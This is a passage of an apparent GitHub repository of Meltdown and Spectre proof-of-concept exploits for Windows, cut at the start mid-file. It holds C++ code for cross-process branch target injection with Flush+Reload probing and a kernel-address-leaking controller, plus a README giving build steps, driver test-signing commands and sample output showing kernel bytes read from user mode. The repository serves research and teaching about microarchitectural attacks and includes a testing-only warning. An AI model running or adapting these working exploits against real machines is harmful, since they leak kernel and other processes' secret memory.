151 | printf("core#%d: ", i); 152 | for (uint32_t j = 0; j < read_count; ++j) 153 | printf(" %02x", results[j + i * read_count].value_); 154 | printf("\n"); 155 | } 156 | delete [] results; 157 | 158 | return 0; 159 | } 160 | -------------------------------------------------------------------------------- /03_meltdown_full/controller/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #pragma pack(push, 8) 5 | struct RTL_PROCESS_MODULE_INFORMATION { 6 | HANDLE Section; 7 | PVOID MappedBase; 8 | PVOID ImageBase; 9 | ULONG ImageSize; 10 | ULONG Flags; 11 | USHORT LoadOrderIndex; 12 | USHORT InitOrderIndex; 13 | USHORT LoadCount; 14 | USHORT OffsetToFileName; 15 | UCHAR FullPathName[256]; 16 | }; 17 | 18 | struct SYSTEM_MODULE_INFORMATION { 19 | ULONG ModulesCount; 20 | RTL_PROCESS_MODULE_INFORMATION Modules[256]; 21 | }; 22 | #pragma pack(pop) 23 | 24 | #define IOCTL_START_TIMER CTL_CODE(FILE_DEVICE_UNKNOWN, 0x888, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA) 25 | #define IOCTL_GET_ADDRESS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x999, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA) 26 | 27 | void CollectKernelInfo() { 28 | auto NtQuerySystemInformation = 29 | reinterpret_cast( 30 | GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQuerySystemInformation")); 31 | 32 | constexpr DWORD SystemModuleInformation = 11; 33 | SYSTEM_MODULE_INFORMATION module_info{}; 34 | DWORD bytes_returned; 35 | NTSTATUS status = NtQuerySystemInformation(SystemModuleInformation, 36 | &module_info, 37 | sizeof(module_info), 38 | &bytes_returned); 39 | if (status == 0) { 40 | auto kernel_on_user = 41 | reinterpret_cast(LoadLibraryEx(L"ntoskrnl.exe", 42 | /*hFile*/nullptr, 43 | LOAD_LIBRARY_AS_IMAGE_RESOURCE)); 44 | kernel_on_user -= 2; 45 | printf("FullPathName: %hs\n" 46 | "ImageBase: %p\n" 47 | "ImageSize: %08x\n", 48 | module_info.Modules[0].FullPathName, 49 | module_info.Modules[0].ImageBase, 50 | module_info.Modules[0].ImageSize); 51 | 52 | DWORD offset = 0x0051d000; 53 | auto pk = reinterpret_cast(module_info.Modules[0].ImageBase) + offset; 54 | auto pu = kernel_on_user + offset; 55 | printf("%p (= nt + %08x ):\n", pk, offset); 56 | for (int i = 0; i < 16; ++i) printf(" %02x", *(pu++)); 57 | putchar('\n'); 58 | } 59 | } 60 | 61 | class MeltdownDriver final { 62 | private: 63 | HANDLE device_; 64 | 65 | public: 66 | MeltdownDriver() { 67 | device_ = CreateFile(L"\\\\.\\meltdown", 68 | GENERIC_READ | GENERIC_WRITE, 69 | FILE_SHARE_READ, 70 | /*lpSecurityAttributes*/nullptr, 71 | OPEN_EXISTING, 72 | FILE_ATTRIBUTE_NORMAL, 73 | /*hTemplateFile*/nullptr); 74 | if (device_ == INVALID_HANDLE_VALUE) { 75 | printf("CreateFile failed - %08x\n", GetLastError()); 76 | } 77 | } 78 | 79 | ~MeltdownDriver() { 80 | if (device_ != INVALID_HANDLE_VALUE) CloseHandle(device_); 81 | } 82 | 83 | operator bool() const { 84 | return device_ != INVALID_HANDLE_VALUE; 85 | } 86 | 87 | LPVOID GetSecretAddress() const { 88 | DWORD dw; 89 | LPVOID ret = nullptr; 90 | DeviceIoControl(device_, 91 | IOCTL_GET_ADDRESS, 92 | /*lpInBuffer*/nullptr, 93 | /*nInBufferSize*/0, 94 | /*lpOutBuffer*/&ret, 95 | /*nOutBufferSize*/sizeof(ret), 96 | /*lpBytesReturned*/&dw, 97 | /*lpOverlapped*/nullptr); 98 | return ret; 99 | } 100 | 101 | void StartTimer(DWORD stop_if_nonzero) const { 102 | DWORD dw; 103 | DeviceIoControl(device_, 104 | IOCTL_START_TIMER, 105 | /*lpInBuffer*/&stop_if_nonzero, 106 | /*nInBufferSize*/sizeof(stop_if_nonzero), 107 | /*lpOutBuffer*/nullptr, 108 | /*nOutBufferSize*/0, 109 | /*lpBytesReturned*/&dw, 110 | /*lpOverlapped*/nullptr); 111 | } 112 | }; 113 | 114 | void ShowUsage() { 115 | printf("USAGE: mdc [COMMAND]\n\n" 116 | " --info\n" 117 | " --timer_start\n" 118 | " --timer_stop\n" 119 | ); 120 | } 121 | 122 | int main(int argc, char *argv[]) { 123 | if (argc < 2) { 124 | ShowUsage(); 125 | return 1; 126 | } 127 | 128 | enum {invalid, timer_start, timer_stop, info} command = invalid; 129 | if (strcmp(argv[1], "--info") == 0) 130 | command = info; 131 | else if (strcmp(argv[1], "--timer_start") == 0) 132 | command = timer_start; 133 | else if (strcmp(argv[1], "--timer_stop") == 0) 134 | command = timer_stop; 135 | 136 | if (command != invalid) { 137 | MeltdownDriver driver; 138 | if (driver) { 139 | switch (command) { 140 | case info: 141 | CollectKernelInfo(); 142 | printf("\nSecret data should be placed at %p\n", 143 | driver.GetSecretAddress()); 144 | break; 145 | case timer_start: 146 | driver.StartTimer(/*stop_if_nonzero*/0); 147 | break; 148 | case timer_stop: 149 | driver.StartTimer(/*stop_if_nonzero*/1); 150 | break; 151 | } 152 | } 153 | } 154 | else { 155 | ShowUsage(); 156 | return 1; 157 | } 158 | return 0; 159 | } 160 | -------------------------------------------------------------------------------- /03_meltdown_full/driver/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | extern "C" { 6 | DRIVER_INITIALIZE DriverEntry; 7 | DRIVER_UNLOAD DriverUnload; 8 | NTSTATUS MeltdownDispatchRoutine(PDEVICE_OBJECT DeviceObject, PIRP Irp); 9 | } 10 | 11 | #ifdef ALLOC_PRAGMA 12 | #pragma alloc_text(INIT, DriverEntry) 13 | #pragma alloc_text(PAGE, DriverUnload) 14 | #pragma alloc_text(PAGE, MeltdownDispatchRoutine) 15 | #endif 16 | 17 | #define IOCTL_START_TIMER CTL_CODE(FILE_DEVICE_UNKNOWN, 0x888, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA) 18 | #define IOCTL_GET_ADDRESS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x999, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA) 19 | 20 | const char TheAnswer[] = "Answer to the Ultimate Question of Life, The Universe, and Everything is 42"; 21 | constexpr ULONG TAG = 'oOOo'; 22 | constexpr INT64 ONE_SECOND = 10000000; 23 | LPSTR SuperConfidentialArea = nullptr; 24 | KDPC g_dpc; 25 | KTIMER g_timer; 26 | 27 | VOID Log(_In_ PCCH Format, _In_ ...) { 28 | CHAR Message[512]; 29 | va_list VaList; 30 | va_start(VaList, Format); 31 | CONST ULONG N = _vsnprintf_s(Message, sizeof(Message) - sizeof(CHAR), Format, VaList); 32 | Message[N] = '\0'; 33 | vDbgPrintExWithPrefix("[MELTDOWN] ", DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, Message, VaList); 34 | va_end(VaList); 35 | } 36 | 37 | VOID TimerDPC(PKDPC, PVOID, PVOID, PVOID) { 38 | static UINT32 junk = 42; 39 | junk ^= *reinterpret_cast(SuperConfidentialArea); 40 | ++junk; 41 | junk ^= *reinterpret_cast(SuperConfidentialArea + 4); 42 | } 43 | 44 | NTSTATUS MeltdownDispatchRoutine(PDEVICE_OBJECT DeviceObject, PIRP Irp) { 45 | UNREFERENCED_PARAMETER(DeviceObject); 46 | PIO_STACK_LOCATION IrpStack = IoGetCurrentIrpStackLocation(Irp); 47 | 48 | Irp->IoStatus.Status = STATUS_SUCCESS; 49 | Irp->IoStatus.Information = 0; 50 | 51 | switch (IrpStack->MajorFunction) { 52 | case IRP_MJ_CREATE: 53 | break; 54 | case IRP_MJ_CLOSE: 55 | break; 56 | case IRP_MJ_DEVICE_CONTROL: 57 | switch (IrpStack->Parameters.DeviceIoControl.IoControlCode) { 58 | case IOCTL_START_TIMER: 59 | if (IrpStack->Parameters.DeviceIoControl.InputBufferLength >= sizeof(ULONG32)) { 60 | if (auto stop_if_nonzero = reinterpret_cast(Irp->AssociatedIrp.SystemBuffer)) { 61 | if (*stop_if_nonzero) { 62 | KeCancelTimer(&g_timer); 63 | } 64 | else { 65 | LARGE_INTEGER due; 66 | due.QuadPart = -ONE_SECOND; 67 | KeSetTimerEx(&g_timer, due, 10, &g_dpc); 68 | } 69 | } 70 | } 71 | break; 72 | case IOCTL_GET_ADDRESS: 73 | if (IrpStack->Parameters.DeviceIoControl.OutputBufferLength >= sizeof(PVOID)) { 74 | if (auto p = reinterpret_cast(Irp->AssociatedIrp.SystemBuffer)) { 75 | *p = SuperConfidentialArea; 76 | Irp->IoStatus.Information = sizeof(PVOID); 77 | } 78 | } 79 | break; 80 | } 81 | break; 82 | } 83 | 84 | IoCompleteRequest(Irp, IO_NO_INCREMENT); 85 | return Irp->IoStatus.Status; 86 | } 87 | 88 | NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, 89 | _In_ PUNICODE_STRING RegistryPath) { 90 | PAGED_CODE(); 91 | UNREFERENCED_PARAMETER(RegistryPath); 92 | NTSTATUS status = STATUS_SUCCESS; 93 | UNICODE_STRING deviceName; 94 | UNICODE_STRING linkName; 95 | RtlInitUnicodeString(&deviceName, L"\\Device\\meltdown"); 96 | RtlInitUnicodeString(&linkName, L"\\DosDevices\\meltdown"); 97 | 98 | DriverObject->DriverUnload = DriverUnload; 99 | DriverObject->MajorFunction[IRP_MJ_CREATE] = MeltdownDispatchRoutine; 100 | DriverObject->MajorFunction[IRP_MJ_CLOSE] = MeltdownDispatchRoutine; 101 | DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = MeltdownDispatchRoutine; 102 | 103 | PDEVICE_OBJECT deviceObject = nullptr; 104 | status = IoCreateDevice(DriverObject, 105 | /*DeviceExtensionSize*/0, 106 | &deviceName, 107 | FILE_DEVICE_UNKNOWN, 108 | /*DeviceCharacteristics*/0, 109 | /*Exclusive*/FALSE, 110 | &deviceObject); 111 | if (!NT_SUCCESS(status)) { 112 | Log("IoCreateDevice failed - %08x\n", status); 113 | goto cleanup; 114 | } 115 | 116 | status = IoCreateSymbolicLink(&linkName, &deviceName); 117 | if (!NT_SUCCESS(status)) { 118 | Log("IoCreateSymbolicLink failed - %08x\n", status); 119 | goto cleanup; 120 | } 121 | 122 | SuperConfidentialArea = static_cast(ExAllocatePoolWithTag(NonPagedPoolNx, 4096, TAG)); 123 | RtlCopyMemory(SuperConfidentialArea, TheAnswer, sizeof(TheAnswer)); 124 | Log("Secret is at %p\n", SuperConfidentialArea); 125 | 126 | KeInitializeDpc(&g_dpc, TimerDPC, nullptr); 127 | KeInitializeTimer(&g_timer); 128 | 129 | cleanup: 130 | if (!NT_SUCCESS(status) && deviceObject) { 131 | IoDeleteDevice(deviceObject); 132 | } 133 | return status; 134 | } 135 | 136 | VOID DriverUnload(_In_ PDRIVER_OBJECT DriverObject) { 137 | PAGED_CODE(); 138 | 139 | KeCancelTimer(&g_timer); 140 | 141 | if (SuperConfidentialArea) { 142 | ExFreePoolWithTag(SuperConfidentialArea, 'oOOo'); 143 | SuperConfidentialArea = nullptr; 144 | } 145 | 146 | UNICODE_STRING linkName; 147 | RtlInitUnicodeString(&linkName, L"\\DosDevices\\meltdown"); 148 | IoDeleteSymbolicLink(&linkName); 149 | IoDeleteDevice(DriverObject->DeviceObject); 150 | 151 | Log("Driver unloaded.\n"); 152 | } 153 | -------------------------------------------------------------------------------- /04_spectre_full/attacker/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | extern "C" { 8 | void LoadGadget(); 9 | void IndirectCall(const void *proc, 10 | const void *target_memory, 11 | const void *probe_start); 12 | 13 | uint32_t memory_access(LPCBYTE); 14 | uint32_t flush_reload(LPCBYTE); 15 | void evict(void *start, int count, int step); 16 | } 17 | 18 | const char TheAnswer[] = "Answer to the Ultimate Question of Life, The Universe, and Everything is 42"; 19 | constexpr int probe_lines = 256; 20 | DWORD_PTR tat[probe_lines]; 21 | uint8_t *probe = nullptr; 22 | uint8_t junk[10 * 1024 * 4096]; 23 | 24 | auto gadget_module = GetModuleHandle(L"gadget.dll"); 25 | void (*Touch)(uint8_t*, uint8_t*) = nullptr; 26 | void do_nothing(uint8_t*, uint8_t*) {} 27 | 28 | DWORD WINAPI ProbingThread(LPVOID) { 29 | for (int i = 0; i < probe_lines; ++i) 30 | _mm_clflush(&probe[i * 4096]); 31 | for (int trial = 1; ; ++trial) { 32 | for (int i = 0; i < probe_lines; ++i) { 33 | auto t = flush_reload(probe + i * 4096); 34 | if (t < 100) { 35 | printf("trial#%d: guess='%c' (=%02x) (score=%d)\n", 36 | trial, 37 | static_cast(i), 38 | static_cast(i), 39 | static_cast(t)); 40 | trial = 0; 41 | break; 42 | } 43 | } 44 | } 45 | } 46 | 47 | DWORD WINAPI TrainingThread(LPVOID) { 48 | void (*target_proc)(uint8_t*, uint8_t*) = Touch; 49 | void *call_destination = reinterpret_cast(&target_proc); 50 | for (;;) { 51 | IndirectCall(call_destination, nullptr, nullptr); 52 | } 53 | } 54 | 55 | void victim(const void *target) { 56 | void (*target_proc)(uint8_t*, uint8_t*) = do_nothing; 57 | void *call_destination = reinterpret_cast(&target_proc); 58 | 59 | for (;;) { 60 | for (int trial = 0; trial < 20000; ++trial) { 61 | Sleep(1); 62 | #if 1 63 | // This is strange. For some reason, flushing the probe on the victim side 64 | // helps getting repro. Need to find a way to get rid of this hack later. 65 | for (int i = 0; i < probe_lines; ++i) 66 | _mm_clflush(&probe[i * 4096]); 67 | #else 68 | evict(junk, 10 * 1024, 2048); 69 | #endif 70 | IndirectCall(call_destination, target, probe); 71 | } 72 | } 73 | } 74 | 75 | void victim_and_probe(const void *target) { 76 | void (*target_proc)(uint8_t*, uint8_t*) = do_nothing; 77 | void *call_destination = reinterpret_cast(&target_proc); 78 | 79 | for (;;) { 80 | for (int trial = 0; trial < 20000; ++trial) { 81 | Sleep(10); 82 | #if 1 83 | for (int i = 0; i < probe_lines; ++i) 84 | _mm_clflush(&probe[i * 4096]); 85 | #else 86 | evict(junk, 10 * 1024, 2048); 87 | #endif 88 | 89 | IndirectCall(call_destination, target, probe); 90 | 91 | for (int i = 0; i < probe_lines; ++i) 92 | tat[i] = flush_reload(probe + i * 4096); 93 | 94 | int idx_min = 0; 95 | for (int i = 0; i < probe_lines; ++i) 96 | if (tat[i] < tat[idx_min]) idx_min = i; 97 | if (tat[idx_min] < 100) { 98 | printf("trial#%d: guess='%c' (=%02x) (score=%d)\n", 99 | trial, 100 | static_cast(idx_min), 101 | static_cast(idx_min), 102 | static_cast(tat[idx_min])); 103 | break; 104 | } 105 | } 106 | } 107 | } 108 | 109 | bool JailbreakMemoryPage(LPVOID target) { 110 | DWORD old; 111 | return !!VirtualProtect(reinterpret_cast(reinterpret_cast(target) & ~0xfff), 112 | 0x1000, 113 | PAGE_EXECUTE_WRITECOPY, 114 | &old); 115 | } 116 | 117 | struct spectre_mode { 118 | uint8_t victim : 1; 119 | uint8_t probe : 1; 120 | uint8_t train : 1; 121 | }; 122 | 123 | spectre_mode parse_options(int argc, char *argv[]) { 124 | spectre_mode modes{}; 125 | for (int i = 1; i < argc; ++i) { 126 | if (strcmp(argv[i], "--victim") == 0) modes.victim = 1; 127 | if (strcmp(argv[i], "--probe") == 0) modes.probe = 1; 128 | if (strcmp(argv[i], "--train") == 0) modes.train = 1; 129 | } 130 | return modes; 131 | } 132 | 133 | int main(int argc, char *argv[]) { 134 | if (argc < 2) { 135 | printf("USAGE: spectre --victim|--train [--probe]\n\n"); 136 | return 1; 137 | } 138 | 139 | auto modes = parse_options(argc, argv); 140 | if (!modes.victim && !modes.train) { 141 | printf("--victim or --train needs to be specified.\n"); 142 | return 1; 143 | } 144 | if (modes.victim && modes.train) { 145 | printf("--victim and --train cannot be specified on the same process.\n"); 146 | return 1; 147 | } 148 | 149 | LoadGadget(); 150 | auto section = FindResource(gadget_module, L"DATA", RT_BITMAP); 151 | probe = reinterpret_cast(reinterpret_cast(section) & ~0xfff); 152 | Touch = reinterpret_cast(GetProcAddress(gadget_module, "Touch")); 153 | 154 | const int affinity_victim = 1; 155 | const int affinity_probe = 2; 156 | const int affinity_train = 1; // must be the same as affinity_victim 157 | const int offset = argc >= 3 ? atoi(argv[argc - 1]) : 0; 158 | 159 | if (modes.victim) { 160 | if (modes.probe) 161 | printf("Starting the victim thread with probing on cpu#%d...\n\n", affinity_victim); 162 | else 163 | printf("Starting the victim thread on cpu#%d...\n\n", affinity_victim); 164 | SetThreadAffinityMask(GetCurrentThread(), 1 << affinity_victim); 165 | if (modes.probe) 166 | victim_and_probe(TheAnswer + offset); 167 | else 168 | victim(TheAnswer + offset); 169 | } 170 | else if (modes.train) { 171 | if (!JailbreakMemoryPage(Touch)) { 172 | printf("Oops, you could not unprotect the pages\n"); 173 | return 1; 174 | } 175 | 176 | *reinterpret_cast(Touch) = 0xC3; 177 | 178 | DWORD tid; 179 | std::vector threads; 180 | threads.push_back(CreateThread(/*lpThreadAttributes*/nullptr, 181 | /*dwStackSize*/0, 182 | TrainingThread, 183 | /*lpParameter*/nullptr, 184 | CREATE_SUSPENDED, 185 | &tid)); 186 | SetThreadAffinityMask(threads[0], 1 << affinity_train); 187 | printf("Starting the training thread on cpu#%d...\n", affinity_train); 188 | ResumeThread(threads[0]); 189 | 190 | if (modes.probe) { 191 | threads.push_back(CreateThread(/*lpThreadAttributes*/nullptr, 192 | /*dwStackSize*/0, 193 | ProbingThread, 194 | /*lpParameter*/nullptr, 195 | CREATE_SUSPENDED, 196 | &tid)); 197 | SetThreadAffinityMask(threads[1], 1 << affinity_probe); 198 | printf("Starting the probing thread on cpu#%d...\n", affinity_probe); 199 | ResumeThread(threads[1]); 200 | } 201 | 202 | WaitForMultipleObjects(static_cast(threads.size()), 203 | threads.data(), 204 | /*bWaitAll*/TRUE, 205 | INFINITE); 206 | for (auto it : threads) CloseHandle(it); 207 | } 208 | return 0; 209 | } 210 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Meltdown/Spectre Proof-of-Concept for Windows 2 | 3 | This repository contains PoC codes to demonstrate the famous Meltdown/Spectre vulnerability. Hopefully this becomes a good start to explore the wonderful world of microarchitectural attacks for you! 4 | 5 | ## Software requirements to build 6 | 7 | Don't worry, all free :wink:. 8 | 9 | - Visual Studio Community 2017
[https://www.visualstudio.com/downloads/](https://www.visualstudio.com/downloads/) 10 | - Windows 10 SDK
[https://developer.microsoft.com/en-us/windows/downloads/windows-10-sdk](https://developer.microsoft.com/en-us/windows/downloads/windows-10-sdk) 11 | - WDK for Windows 10
[https://developer.microsoft.com/en-us/windows/hardware/download-kits-windows-hardware-development](https://developer.microsoft.com/en-us/windows/hardware/download-kits-windows-hardware-development) 12 | - The Netwide Assembler
[http://www.nasm.us/](http://www.nasm.us/) 13 | 14 | ## How to build 15 | 16 | ### 1. Configure NASM 17 | 18 | Update `ASM` in `common.inc` with the path to nasm.exe 19 | 20 | ### 2. Prepare a codesign certificate to sign a driver (for Meltdown Full) 21 | 22 | Meltdown Full PoC needs help from a driver, that is included in this repo. In the current Windows, drivers need to be signed with a codesign certificate. So you need to create a self-signed or CA-signed certificate. If you are a millionaire, you may have a [Windows EV signing cert](https://docs.microsoft.com/en-us/windows-hardware/drivers/dashboard/get-a-code-signing-certificate). 23 | 24 | `Makefile` in the repo already has a step to sign a driver file. What you need to do is: 25 | 26 | 1. Prepare a certificate having 'codeSigning' (1.3.6.1.5.5.7.3.3) in the extended key usage section
OpenSSL is always your friend. If you prefer Microsoft'ish way, [this](https://msdn.microsoft.com/en-us/library/windows/desktop/jj835832.aspx) would be useful. 27 | 28 | 2. On your build machine, install your certificate to the 'My' Certificate store:
`certutil -add My ` 29 | 30 | 3. Update `CODESIGN_SHA1` in `03_meltdown_full/Makefile` with SHA1 hash of your certificate. 31 | 32 | 4. On you test machine to run the driver on, enable testsigning:
`bcdedit /set testsigning on` 33 | 34 | 5. Reboot the test machine to enable the testsigning mode 35 | 36 | ### 3. Build 37 | 38 | Launch "x64 Native Tools Command Prompt for VS 2017" and run `NMAKE` on the root of this repo. Binaries will be generated under the subdirectory "bin/amd64". 39 | 40 | The current code supports x64 only. 32bit compilation will fail. 41 | 42 | ## How to run 43 | 44 | ### PoC #1: Toy example of Meltdown 45 | 46 | This PoC demonstrates the toy example of Meltdown described in the [Meltdown paper](https://arxiv.org/abs/1801.01207). The program executes an instruction that throws Divide-by-zero exception. However, CPU speculatively runs instructions that are placed after the division and that behavior changes CPU's micro-architectural state. Using Flush+Reload technique, the program can identify a value that is loaded from memory during out-of-order execution. 47 | 48 | #### Run & Output 49 | 50 | Run `toy.exe`. The output means how many cycles are consumed to read each of 256 probe lines. In the below example, obviously loading the index 0x42 is much faster than the others. This is the micro-architectural change caused by out-of-order execution. 51 | 52 | ``` 53 | > bin\amd64\toy.exe 54 | trial#118: guess=42 (score=72) 55 | 258 261 264 264 225 228 231 228 225 228 231 225 264 294 255 267 56 | 258 261 261 261 264 264 228 228 240 258 264 264 267 267 264 261 57 | 261 261 264 258 261 258 264 264 225 222 222 231 231 231 258 261 58 | 264 261 255 261 264 264 261 264 258 258 264 261 255 258 255 255 59 | 258 264 72 261 258 264 261 261 258 264 258 264 264 261 261 258 60 | 264 222 225 228 228 228 228 225 231 267 258 264 255 255 261 255 61 | 261 261 258 258 261 255 261 255 264 258 258 258 261 261 261 258 62 | ..(snip).. 63 | ``` 64 | 65 | ### PoC #2: Toy example of Spectre 66 | 67 | This PoC demonstrates two variants presented in the [Spectre paper](https://arxiv.org/abs/1801.01203): '4. Exploiting Conditional Branch Misprediction' and '5. Poisoning Indirect Branches'. 68 | 69 | The first variant 'Exploiting Conditional Branch Misprediction' proves that CPU predicts a condition based on the previous results, and runs a branch speculatively when the result of that condition is still uncertain. The paper also includes the example implementation of this variant in C as Appendix A. I could simplify that example a lot by using assembly language. 70 | 71 | The second variant 'Poisoning Indirect Branches' proves that CPU predicts the destination address of an indirect jump instruction based on the previous results. This PoC uses `call [rax]` to demonstrate the indirect jump. You can observe the processor speculatively runs the code at the previous jump destination while fetching a real destination from the address stored in the register `rax`. 72 | 73 | In both variants, an attacker can *train* the branch predictor to cause the processor to mispredict a branch to the address which the attacker wants to run. 74 | 75 | #### Run & Output 76 | 77 | Run `branch.exe --variant1` for Conditional Branch Misprediction or `branch.exe --variant2` for Poisoning Indirect Branches. The output is the same as Meltdown's toy example. 78 | 79 | ``` 80 | > bin\amd64\branch.exe --variant1 81 | trial#0: guess='A' (score=78) 82 | 27 267 264 261 291 330 264 297 258 261 255 255 300 222 225 294 83 | 264 264 258 297 291 264 303 264 261 261 297 228 225 303 261 303 84 | 225 330 267 258 300 297 303 297 270 264 330 228 303 258 258 264 85 | 264 258 297 261 258 261 330 258 330 261 225 300 261 303 261 261 86 | 264 78 318 225 228 300 261 261 258 300 228 249 297 300 261 303 87 | 258 264 300 300 228 267 264 297 261 300 231 300 303 258 333 294 88 | 258 264 294 225 297 300 297 300 261 261 261 261 273 261 300 324 89 | ..(snip).. 90 | ``` 91 | 92 | ### PoC #3: Full Meltdown 93 | 94 | This PoC demonstrates a full Meltdown scenario on Windows i.e. reading kernel memory from an unprivileged user-mode process. 95 | 96 | [IAIK's Meltdown PoC](https://github.com/IAIK/meltdown) tries to read data at the direct physical map region, but Windows kernel does not have such a region in kernel that is always mapped into the physical memory. Someone wrote a [PoC for Windows](https://github.com/stormctf/Meltdown-PoC-Windows) that is trying to read data at <Imagebase of NT kernel>+0x1000, but this code did not reproduce Meltdown on any of my environments. 97 | 98 | For the demo purpose, I wrote a kernel driver to allocate some bytes in the non-paged pool. Moreover, to make Meltdown work, I needed to implement a couple of more tricks, that I'll write up somewhere later. 99 | 100 | #### Run & Output 101 | 102 | First, configure `meltdown.sys` as a kernel service and start it. This stores some data in the non-paged pool. 103 | 104 | ``` 105 | > sc create meltdown binpath= D:\WORK\meltdown.sys type= kernel 106 | > net start meltdown 107 | ``` 108 | 109 | You can get a kernel address allocated in the previous step by running `mdc.exe`. You'll see an output as follows. In the below output, the target is `FFFFD10902564000`. 110 | 111 | ``` 112 | > mdc.exe --info 113 | FullPathName: \SystemRoot\system32\ntoskrnl.exe 114 | ImageBase: FFFFF8014B889000 115 | ImageSize: 008d2000 116 | FFFFF8014BDA6000 (= nt + 0051d000 ): 117 | 00 00 e8 79 2d ba ff 8b 87 d0 06 00 00 45 33 f6 118 | 119 | Secret data should be placed at FFFFD10902564000 120 | ``` 121 | 122 | Before staring Meltdown, run the following command as well. This makes sure the target data is stored onto L1 cache. This is a mandatory step. 123 | 124 | ``` 125 | > mdc.exe --timer_start 126 | ``` 127 | 128 | Finally, start `meltdown.exe` to start Meltdown. The first parameter is the number of bytes to read. The second parameter is the virtual address to start reading at. You'll see an output as follows. 129 | 130 | ``` 131 | > meltdown.exe 4 FFFFD10902564000 132 | Target range: FFFFD10902564000 - FFFFD10902564004 133 | 134 | You have 8 CPU cores. Starting probing threads... 135 | 136 | running tid:0ae8 for core#0 137 | running tid:1e08 for core#1 138 | running tid:0ad8 for core#2 139 | running tid:16a8 for core#3 140 | running tid:11cc for core#4 141 | running tid:0af0 for core#5 142 | running tid:0af4 for core#6 143 | running tid:0848 for core#7 144 | 145 | core#0: 41 6e 10 77 146 | core#1: 00 00 73 00 147 | core#2: 00 e0 00 00 148 | core#3: 00 00 00 00 149 | core#4: 00 00 00 44 150 | core#5: 00 00 00 00 151 | core#6: 00 00 00 00 152 | core#7: 00 00 00 00 153 | ``` 154 | 155 | This PoC is not as stable as the toy examples described earlier. The actual kernel bytes start with '41 63 73 77'. You can see the thread running on core#0 got three of them, and core#1 got one. It's not 100% accurate, but obviously we're seeing data that we should not be able to see. Success rate depends on CPU, and some parameters hardcoded in the attacker's code. For example, you may need to increase the value of `max_trial` in `meltdown_full`. 156 | 157 | ### PoC #4: Cross-process Branch Target Injection (Spectre Variant 2) 158 | 159 | This PoC demonstrates a cross-process scenario of the 2nd variant of Spectre while `branch.exe --variant2`of PoC #2 demonstrates a single-process scenario. The concept to prove here is that the execution of an indirect branch instruction in one process can influence branch prediction in another process, resulting in a speculative execution of a gadget that is chosen by an attacker. Moreover, the attacker can retrieve the result of victim's speculative execution via Flush+Reload in the attacker's context. 160 | 161 | #### Run & Output (Flush+Reload in Victim process) 162 | 163 | First, start the victim process by running `spectre.exe --victim --probe`. The 2nd option `--probe` means we run Flush+Reload in the victim process. You'll see an output like this: 164 | 165 | ``` 166 | > spectre.exe --victim --probe 167 | Starting the victim thread with probing on cpu#1... 168 | ``` 169 | 170 | Now the victim process is continuously executing an indirect branch instruction in a loop. You can influence this victim process by starting a new process. Open a new command prompt and run the command `spectre.exe --train`. The second process continuously executes an indirect branch instruction located at the same virtual address as in the victim process, but the destination address is cracked in the attacker process. 171 | 172 | ``` 173 | > spectre.exe --train 174 | Starting the training thread on cpu#1... 175 | ``` 176 | 177 | When you go back to the first command prompt where the victim is running, you'll see an output like this: 178 | 179 | ``` 180 | > spectre.exe --victim --probe 181 | Starting the victim thread with probing on cpu#1... 182 | 183 | trial#10209: guess='A' (=41) (score=70) 184 | trial#1: guess='A' (=41) (score=46) 185 | trial#0: guess='A' (=41) (score=36) 186 | trial#1: guess='A' (=41) (score=47) 187 | trial#1: guess='A' (=41) (score=43) 188 | ... 189 | ``` 190 | 191 | This means the second process successfully caused the first process to run a gadget speculatively, and Flush+Reload caught its result in the victim process. If you terminate the second training process and restart it with the same command again, you'll see speculative execution happens only while the training process is running. 192 | 193 | #### Run & Output (Flush+Reload in Attacker process) 194 | 195 | The previous Run & Output proves cross-process branch target injection indeed happens, but it's not very interesting because the attacker could not get the result of speculative execution. Let's see it's possible that the victim's speculative execution induced by the attacker influences back the attacker's Flush+Reload. 196 | 197 | Start the victim process by running `spectre.exe --victim`. Without `--probe`, the victim process does not run Flush+Reload. 198 | 199 | ``` 200 | > spectre.exe --victim 201 | Starting the victim thread on cpu#1... 202 | ``` 203 | 204 | Start a new command prompt and start the training process with the option `--probe`. If Flush+Reload at the attacker succeeds, you'll see an output like this: 205 | 206 | ``` 207 | > spectre.exe --train --probe 208 | Starting the training thread on cpu#1... 209 | Starting the probing thread on cpu#2... 210 | trial#1565: guess='A' (=41) (score=97) 211 | trial#12636: guess='A' (=41) (score=60) 212 | trial#1037: guess='A' (=41) (score=82) 213 | ``` 214 | 215 | Unfortunately success rate of this scenario is bad, and it varies depending on CPU and other processes running on the system. In the worst case, you may need to wait a couple of minutes until a first result. 216 | 217 | ## \*Warning\* 218 | 219 | This code is only for testing purposes. Do not run it on any productive systems. Do not run it on any system that might be used by another person or entity. 220 | --------------------------------------------------------------------------------